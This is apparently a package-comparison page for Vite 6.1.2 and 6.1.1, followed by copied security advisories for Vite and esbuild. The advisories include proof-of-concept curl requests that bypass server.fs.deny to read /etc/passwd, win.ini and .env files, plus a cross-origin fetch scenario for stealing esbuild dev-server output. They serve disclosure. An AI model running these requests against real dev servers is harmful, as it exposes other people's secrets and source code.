Vite 6.1.2 represents a minor version increment over its predecessor, Vite 6.1.1, within the rapidly evolving Vite ecosystem. Both versions maintain the core principle of providing a Native-ESM powered web development build tool, leveraging dependencies like Rollup, esbuild, and postcss for efficient bundling and transformation. The dependency lists for both versions appear nearly identical, suggesting that the core functionalities and tooling remain consistent. Developers can expect the same fast build times and hot module replacement capabilities in both versions. There are no dependency changes in the direct dependencies, devDependencies or peerDependencies. The optional dependency "fsevents" remains unchanged, implying consistent file system event handling across both builds.
While the feature set and core dependencies seem largely the same, developers may find value in updating for potential bug fixes, performance improvements, or minor refinements that are not explicitly outlined in the metadata. A key point of interest is the slight difference in unpackedSize in the dist section, where version 6.1.2 has an unpackedSize of 2875001 compared to 2874711 for version 6.1.1. This may suggest small code optimizations, updated assets, or other minor changes impacting the final bundle size. The releaseDate field indicates that version 6.1.2 was released later than 6.1.1. It's generally recommended to upgrade to the latest minor version to benefit from the most recent patches and enhancements, although a detailed changelog would be helpful to ascertain the precise nature of these updates.
All the vulnerabilities related to the version 6.1.2 of the package
Vite has a server.fs.deny bypassed for inline and raw with ?import query
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
?inline&import (originally reported as ?import&?inline=1.wasm?init)?raw?import/@fs/ isn't needed to reproduce the issue for files inside the project root.
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Vite allows server.fs.deny to be bypassed with .svg or relative paths
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
.svgRequests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Vite has an server.fs.deny bypass with an invalid request-target
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Only apps with the following conditions are affected.
HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).
On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.
On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
Vite's server.fs.deny bypassed with /. for files under project root
The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.
.env, .env.*, *.{crt,pem}, **/.env**/.git/**, .git/**, .git/**/*server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com).fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html: normally you have a script tag here/assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm inpm run watchfetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.